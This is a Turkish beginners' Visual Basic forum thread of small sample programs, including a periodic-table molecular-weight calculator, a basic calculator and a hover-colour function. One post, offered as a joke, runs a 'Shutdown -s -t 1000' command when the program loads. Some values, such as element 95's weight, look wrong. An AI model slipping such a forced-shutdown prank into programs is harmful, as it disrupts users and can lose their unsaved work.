gtri(ndxrowcol + 1).Vertex1 = gtri2.Vertex1
gtri(ndxrowcol + 1).Vertex2 = gtri2.Vertex2
gtri(ndxrowcol + 1).Vertex3 = gtri2.Vertex3
Next
Next

For row = 0 To ndy
ndxrow1 = row * (ndx + 1)

For col = 0 To ndx
ndxrow1col = ndxrow1 + col
vert(ndxrow1col).BLUE = getrnd
vert(ndxrow1col).RED = getrnd
vert(ndxrow1col).GREEN = getrnd
vert(ndxrow1col).Alpha = 0
Next
Next
rrrminusrrl1 = (RR.Right - RR.Left)
rrbminusrrt1 = (RR.Bottom - RR.Top)
rrrminusrrl2 = rrrminusrrl1 / ndx
rrbminusrrt2 = (rrbminusrrt1 / ndy)

For row = 0 To ndy
ndxrow1 = row * ndx1
rowbyndx = rrbminusrrt2 * row

For col = 0 To ndx
ndxrow1col = ndxrow1 + col
vert(ndxrow1col).x = RR.Left + rrrminusrrl2 * col
vert(ndxrow1col).y = RR.Top + rowbyndx
Next
Next
res = GradientFill(Me.hdc, vert(0), (ndx + 1) * (ndy + 1), gtri(0), 2 * ndx * ndy, GRADIENT_FILL_TRIANGLE)

End Sub

MaXXSoFT · 26 Ağu 2005

Periyodik cetvel , Molekül ağırlığı hesaplama!

MENU EDITOR
--------------------------------------------------------------------------------

DOSYA
...Yeni
...Kaydet
...Tümünü Kaydet
... -
...Çıkış

AYARLAR
...Atom Ağırlığı
...MA Hesapla

YARDIM
...Içindekiler
...E-Mail
...Hakkında

'Herhangi bir element tıklanınca ekranda bilgi gösterimi.
Private Sub cmd_Click(Index As Integer)
i = Index

'Periyot ve Grubun belirgin olması.
Koyult

'Seçilen elementin bulunması.
Elementler

'Ayarlara göre işlem yapılması.
If mnuMA.Checked = True Then
MA_Bul
lblSonuc.ToolTipText = lblSonuc.Caption
Else
lblSonuc.Caption = Round((Y * txtNum), 3)
lblSonuc.ToolTipText = lblSonuc.Caption
End If

End Sub

'MA Hesapla seçili ise listeye elementin yazılması,ekrana toplam MA yazılması.
Sub MA_Bul()
List1.AddItem cmd(i).Caption & "(" & txtNum.Text & ")"
lblSonuc.Caption = Round((lblSonuc + (txtNum * Y)), 3)
End Sub

'Basılan elemente göre o elementin MA sının bulunması.
Sub Elementler()
Select Case i

Case 1: Y = 1.0079
Case 2: Y = 4.0026
Case 3: Y = 6.94
Case 4: Y = 9.01218
Case 5: Y = 10.81
Case 6: Y = 12.011
Case 7: Y = 14.0067
Case 8: Y = 15.9994
Case 9: Y = 18.998403
Case 10: Y = 20.17
Case 11: Y = 22.98977
Case 12: Y = 24.305
Case 13: Y = 26.98154
Case 14: Y = 28.0855
Case 15: Y = 30.97376
Case 16: Y = 32.06
Case 17: Y = 35.453
Case 18: Y = 39.948
Case 19: Y = 39.0983
Case 20: Y = 40.08
Case 21: Y = 44.9559
Case 22: Y = 47.9
Case 23: Y = 50.9415
Case 24: Y = 51.996
Case 25: Y = 54.938
Case 26: Y = 55.847
Case 27: Y = 58.9332
Case 28: Y = 58.71
Case 29: Y = 63.546
Case 30: Y = 65.38
Case 31: Y = 69.735
Case 32: Y = 72.59
Case 33: Y = 74.9216
Case 34: Y = 78.96
Case 35: Y = 79.904
Case 36: Y = 83.8
Case 37: Y = 85.467
Case 38: Y = 87.62
Case 39: Y = 88.9059
Case 40: Y = 91.22
Case 41: Y = 92.9064
Case 42: Y = 95.94
Case 43: Y = 98.9062
Case 44: Y = 101.07
Case 45: Y = 102.9055
Case 46: Y = 106.4
Case 47: Y = 107.868
Case 48: Y = 112.41
Case 49: Y = 114.82
Case 50: Y = 118.69
Case 51: Y = 121.75
Case 52: Y = 127.6
Case 53: Y = 126.9045
Case 54: Y = 131.3
Case 55: Y = 132.9054
Case 56: Y = 137.33
Case 57: Y = 138.9055
Case 58: Y = 140.12
Case 59: Y = 140.9077
Case 60: Y = 144.24
Case 61: Y = 145
Case 62: Y = 150.4
Case 63: Y = 151.96
Case 64: Y = 157.25
Case 65: Y = 158.9254
Case 66: Y = 162.5
Case 67: Y = 164.9304
Case 68: Y = 167.26
Case 69: Y = 168.9342
Case 70: Y = 173.04
Case 71: Y = 174.96
Case 72: Y = 178.49
Case 73: Y = 180.947
Case 74: Y = 183.85
Case 75: Y = 186.207
Case 76: Y = 190.2
Case 77: Y = 192.22
Case 78: Y = 195.09
Case 79: Y = 196.9665
Case 80: Y = 200.59
Case 81: Y = 204.37
Case 82: Y = 207.2
Case 83: Y = 208.9804
Case 84: Y = 209
Case 85: Y = 210
Case 86: Y = 222
Case 87: Y = 223
Case 88: Y = 226.0254
Case 89: Y = 227
Case 90: Y = 232.0381
Case 91: Y = 231.0359
Case 92: Y = 238.029
Case 93: Y = 237.0482
Case 94: Y = 244
Case 95: Y = 293
Case 96: Y = 247
Case 97: Y = 247
Case 98: Y = 251
Case 99: Y = 254
Case 100: Y = 257
Case 101: Y = 258
Case 102: Y = 259
Case 103: Y = 260
Case 104: Y = 261
Case 105: Y = 262
Case 106: Y = 263
Case 107: Y = 262
Case 108: Y = 265
Case 109: Y = 266
Case 110: Y = 269
Case 111: Y = 272
Case 112: Y = 277
Case 113: Y = 284
Case 114: Y = 290
Case 115: Y = 295
Case 116: Y = 289
Case 117: Y = 309
Case 118: Y = 293

End Select

End Sub

'Seçilen elementin Periyot ve Grubunun belirginleşmesi.
Sub Koyult()
Dim k, M As Byte
Dim X As Integer

'Periyot belirginliğinin sıfırlanması.
For k = 1 To 7
lblPeriyot(k).FontBold = False
Next k

'Grup belirginliğinin sıfırlanması.
For k = 0 To 15
lbl(k).FontBold = False
Next k

'Seçili element periyodunun belirginleşmesi ve Grubu belirlemede gerekli değişkenlere bilgi aktarımı.
If i > 0 And i < 3 Then
lblPeriyot(1).FontBold = True: P = 2: M = 2
ElseIf i > 2 And i < 11 Then
lblPeriyot(2).FontBold = True: P = 8: M = 10
ElseIf i > 10 And i < 19 Then
lblPeriyot(3).FontBold = True: P = 8: M = 18
ElseIf i > 18 And i < 37 Then
lblPeriyot(4).FontBold = True: P = 18: M = 36
ElseIf i > 36 And i < 55 Then
lblPeriyot(5).FontBold = True: P = 18: M = 54
ElseIf i > 54 And i < 87 Then
lblPeriyot(6).FontBold = True: P = 32: M = 86
Else
lblPeriyot(7).FontBold = True: P = 32: M = 118
End If

'Grubun basit hesaplanması.
X = ((i + P) Mod M) - 1

'Grubun basit hesaplanması ile ayrıntılı grubun belirlenmesi.
If P = 2 Then

If X = 0 Then
lbl(X).FontBold = True
Else
lbl(X + 16).FontBold = True
End If

ElseIf P = 8 Then

If X > 1 Then
lbl(X + 8).FontBold = True
Else
lbl(X).FontBold = True
End If

ElseIf P = 18 Then

If X = 8 Then
lbl(X - 1).FontBold = True
ElseIf X > 8 Then
lbl(X - 2).FontBold = True
Else
lbl(X).FontBold = True
End If

ElseIf P = 32 Then

If X > 2 And X < 7 Then
lbl(X + 1).FontBold = True
ElseIf X < 3 Or X = 7 Then
lbl(X).FontBold = True
ElseIf X > 7 And X < 17 Then
lbl(X - 1).FontBold = True
ElseIf X = 22 Then
lbl(X - 18 + 4 - 1).FontBold = True
ElseIf X > 22 Then
lbl(X - 18 + 4 - 2).FontBold = True
Else
lbl(X - 18 + 4).FontBold = True
End If

End If

End Sub

'Form tıklandığında Periyot ve Grup belirginliğinin silinmesi.
Private Sub Form_Click()
Dim k As Byte

For k = 1 To 7
lblPeriyot(k).FontBold = False
Next k

For k = 0 To 15
lbl(k).FontBold = False
Next k
End Sub

'Form yüklenemesinde ekrana girilen değerler.
Private Sub Form_Load()
txtNum.Text = 1
lblSonuc.Caption = 0
End Sub

'Listeye tıklandığında tıklanan satırın biraz bekleme sonrasında Bilgi Penceresinde gösterilmesi.
Private Sub List1_Click()
List1.ToolTipText = List1.List(List1.ListIndex)
End Sub

'Programı yazan kişi,firma,program sürümünün bulunduğu form un gösterilmesi.
Private Sub mnuAbout_Click()
frmAbout.Show
End Sub

'Dosya -> Tümünü Kaydet seçeneğinin seçilmesi ile tüm elementlerin MA ları ile bir belgeye sırayla kaydedilmesi.
Private Sub mnuAllWrite_Click()
Dim Z As Byte
Dim Ok As String

On Error GoTo Son

CD1.Filter = "Metin Belgesi(*.txt)|*.txt"
CD1.DialogTitle = "Tümünü Kaydet"
CD1.ShowSave

Open CD1.FileName For Output As #2

For k = 1 To 118
i = k
Z = Len(cmd(i).Caption)

'Element ismine göre aralık verme.
If Z = 1 Then
Ok = "----"
ElseIf Z = 2 Then
Ok = "---"
Else
Ok = "--"
End If

Elementler

Print #2, " " & cmd(i).Caption & Ok & ">" & Y
Next k

Print #2, ""
Print #2, "Tüm miktarlar gr/mol cinsindendir.."

Close #2

MsgBox "Tüm elementler Atom Numarası sırası ile kaydedilmiştir...", vbInformation, "Tümünü Kaydet"
Son:
End Sub

'Ayarlar -> Atom Ağırlığı seçeneğinin seçilmesi ile seçilen elementin MA sının gösterilmesi,listeye eklenmemesi.
Private Sub mnuAtomWeight_Click()
mnuAtomWeight.Checked = True
mnuMA.Checked = False
List1.Clear
txtNum.Text = 1
lblSonuc.Caption = 0
End Sub

'Program kullanımı ve sorunların çözümünü içeren belgenin görüntülenmesi.
Private Sub mnuContents_Click()
Shell "explorer.exe " & App.Path & "\<yardım dosyanızın uzantısı ile ismini girin.>", vbMaximizedFocus
End Sub

'Dosya -> Çıkış seçeneğinin seçilmesi ile programdan çıkış.
Private Sub mnuExit_Click()
Dim Giris As Byte

Giris = MsgBox("Çıkmak istediğinize emin misiniz?" & Chr(13) & "(Eğer kaydetmediğiniz verileriniz varsa HAYIR tuşunu kullanarak geri dönüp kaydedebilirsiniz..)", vbYesNo + vbInformation, "Çıkış")

If Giris = vbYes Then
End
Else
Exit Sub
End If

End Sub

'Ayarlar -> MA Hesapla seçeneğinin seçilmesi.
Private Sub mnuMA_Click()
mnuMA.Checked = True
mnuAtomWeight.Checked = False
txtNum.Text = 1
lblSonuc.Caption = 0
End Sub

'Program ile ilgili Yazan kişiye e-mail atma.
Private Sub mnuMail_Click()
Shell "explorer.exe mailto:<mail adresi girin>"
End Sub

'Yeni bir hesaplama yapma.
Private Sub mnuNew_Click()
List1.Clear
lblSonuc.Caption = 0
txtNum.Text = 1
End Sub

'Hazırlanan, element içeren listeyi txt belgesi olarak kaydetmek.(Dosya -> Kaydet)
Private Sub mnuSave_Click()
On Error GoTo Son

CD1.Filter = "Metin Belgesi(*.txt)|*.txt"
CD1.DialogTitle = "Kaydet"
CD1.ShowSave

Open CD1.FileName For Output As #1
For k = 0 To List1.ListCount - 1
Print #1, " " & List1.List(k)
Next k

Print #1, "+"
Print #1, "----------"
Print #1, " " & lblSonuc.Caption & " gr/mol"
Print #1, ""
Print #1, "Yukardaki atomları içeren molekülün Molekül Ağırlığı."
Close #1

MsgBox "Kayıt tamamlanmıştır... ", vbInformation, "Kaydet"
Son:
End Sub

'Basılan elementten kaç tane olduğunun yazıldığı textbox a hata yaratacak veri girilmesinin engellenmesi.
Private Sub txtNum_Change()
If txtNum.Text = "" Then txtNum.Text = 1
If IsNumeric(txtNum.Text) = False Then txtNum.Text = 1
If txtNum.Text < 1 Then txtNum.Text = 1
End Sub

MaXXSoFT · 26 Ağu 2005

Hesap makinasız olmaz şimdi

Private Sub Form_Load()
Form1.Caption = "ilk hesap makinesi"
Text1.Text = ""
Text2.Text = ""
Label1.Caption = ""
Label2.Caption = ""
Command1.Caption = "TOPLAM"
Command2.Caption = "ÇIKART"
Command3.Caption = "ÇARP"
Command4.Caption = "BÖL"
Command5.Caption = "SİL"
End Sub
Private Sub command1_click()
Label1.Caption = "+"
Label2.Caption = Val(Text1.Text) + Val(Text2.Text)
End Sub
Private Sub command2_click()
Label1.Caption = "-"
Label2.Caption = Val(Text1.Text) - Val(Text2.Text)
End Sub
Private Sub command3_click()
Label1.Caption = "x"
Label2.Caption = Val(Text1.Text) * Val(Text2.Text)
End Sub
Private Sub command4_click()
Label1.Caption = "÷"
If Text1.Text = "" Or Text1.Text = "0" Or Text2.Text = "" Or Text2.Text = "0" Then
MsgBox ("Mantık hatası"), vbOKOnly, ("Hata")
Exit Sub
End If
Label2.Caption = Val(Text1.Text) / Val(Text2.Text)
End Sub
Private Sub command5_click()
Text1.Text = ""
Text2.Text = ""
Label1.Caption = ""
Label2.Caption = ""
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii > Asc("0") And Asc("9") < KeyAscii Then
KeyAscii = 0
Else
End If
End Sub
Private Sub Text2_KeyPress(KeyAscii As Integer)
If KeyAscii > Asc("0") And Asc("9") < KeyAscii Then
KeyAscii = 0
Else
End If
End Sub

MaXXSoFT · 26 Ağu 2005

MOUSE U KONTROLÜN ÜZERİNE GETİRDİĞİMİZDE YAZILARININ RENGİNİ DEĞİŞTİRMEK İÇİN GÜZEL BİR FONKSİYON EN GÜZEL YANIDA BÖYLE BİR ŞEYİ OCX KULLANMADAN YAPIYOR OLMAMIZ.

test için şu kodları kullanmamız gerekiyor.
'Private Sub Form_Load()
'Timer1.Enabled = True
'Timer1.Interval = 1
'End Sub

'Private Sub Timer1_Timer()
'If isHover(Me, Label1, vbSizable) = True Then
' Label1.ForeColor = vbWhite
'Else
' Label1.ForeColor = vbBlue
'End If
'End Sub
'********************
'bu kodları formunuza ekledikten sonra formunuza label1 ekleyin ve birde timer1
'daha sonra da programı çalıştırıp sonucu görün.
Function isHover(frm As Form, cuntrol As Control, BorderStyle As FormBorderStyleConstants) As Boolean
Dim ptCursor As POINTAPI
Call GetCursorPos(ptCursor)
Select Case BorderStyle
Case vbBSNone:
If (ptCursor.X > (frm.Left + cuntrol.Left) / Screen.TwipsPerPixelX) And (ptCursor.X < (frm.Left + cuntrol.Left + cuntrol.Width) / Screen.TwipsPerPixelX) And (ptCursor.Y > (frm.Top + cuntrol.Top) / Screen.TwipsPerPixelX) And (ptCursor.Y < (frm.Top + cuntrol.Top + cuntrol.Height) / Screen.TwipsPerPixelX) Then
isHover = True
Else
isHover = False
End If
Case vbFixedDialog:

If (ptCursor.X > (frm.Left + cuntrol.Left + 30&) / Screen.TwipsPerPixelX) And (ptCursor.X < (frm.Left + cuntrol.Left + cuntrol.Width + 45&) / Screen.TwipsPerPixelX) And (ptCursor.Y > (frm.Top + cuntrol.Top + 315&) / Screen.TwipsPerPixelX) And (ptCursor.Y < (frm.Top + cuntrol.Top + cuntrol.Height + 330&) / Screen.TwipsPerPixelX) Then
isHover = True
Else
isHover = False
End If
Case vbFixedSingle:

If (ptCursor.X > (frm.Left + cuntrol.Left + 30&) / Screen.TwipsPerPixelX) And (ptCursor.X < (frm.Left + cuntrol.Left + cuntrol.Width + 45&) / Screen.TwipsPerPixelX) And (ptCursor.Y > (frm.Top + cuntrol.Top + 315&) / Screen.TwipsPerPixelX) And (ptCursor.Y < (frm.Top + cuntrol.Top + cuntrol.Height + 330&) / Screen.TwipsPerPixelX) Then
isHover = True
Else
isHover = False
End If
Case vbFixedToolWindow:

If (ptCursor.X > (frm.Left + cuntrol.Left + 30&) / Screen.TwipsPerPixelX) And (ptCursor.X < (frm.Left + cuntrol.Left + cuntrol.Width + 45&) / Screen.TwipsPerPixelX) And (ptCursor.Y > (frm.Top + cuntrol.Top + 225&) / Screen.TwipsPerPixelX) And (ptCursor.Y < (frm.Top + cuntrol.Top + cuntrol.Height + 240&) / Screen.TwipsPerPixelX) Then
isHover = True
Else
isHover = False
End If
Case vbSizable:

If (ptCursor.X > (frm.Left + cuntrol.Left + 45&) / Screen.TwipsPerPixelX) And (ptCursor.X < (frm.Left + cuntrol.Left + cuntrol.Width + 60&) / Screen.TwipsPerPixelX) And (ptCursor.Y > (frm.Top + cuntrol.Top + 330&) / Screen.TwipsPerPixelX) And (ptCursor.Y < (frm.Top + cuntrol.Top + cuntrol.Height + 345&) / Screen.TwipsPerPixelX) Then
isHover = True
Else
isHover = False
End If
Case vbSizableToolWindow:

If (ptCursor.X > (frm.Left + cuntrol.Left + 45&) / Screen.TwipsPerPixelX) And (ptCursor.X < (frm.Left + cuntrol.Left + cuntrol.Width + 60&) / Screen.TwipsPerPixelX) And (ptCursor.Y > (frm.Top + cuntrol.Top + 240&) / Screen.TwipsPerPixelX) And (ptCursor.Y < (frm.Top + cuntrol.Top + cuntrol.Height + 255&) / Screen.TwipsPerPixelX) Then
isHover = True
Else
isHover = False
End If
End Select
End Function

MaXXSoFT · 26 Ağu 2005

Saka Amaclidir.. Otomatik bilgisayar kapatma !

forumload()
shell ("Shutdown -s -t 1000") "Ister 1000 yapin ister 10000 orasi siz kalmis...."
end sub

MaXXSoFT · 26 Ağu 2005

Bu kod ile klasör içine bir dosya konulursa uyarı verilir

Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim sh
Set sh = CreateObject("WScript.Shell")
set dosya = fso.GetFolder("c:\ftp\")
Do until 1 = 2
if dosya.size > 100 then
msgbox "Geldi!"
end if
wscript.sleep 100
loop

visual basic e yeni başlayanlar için küçük program arşivi

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member

New member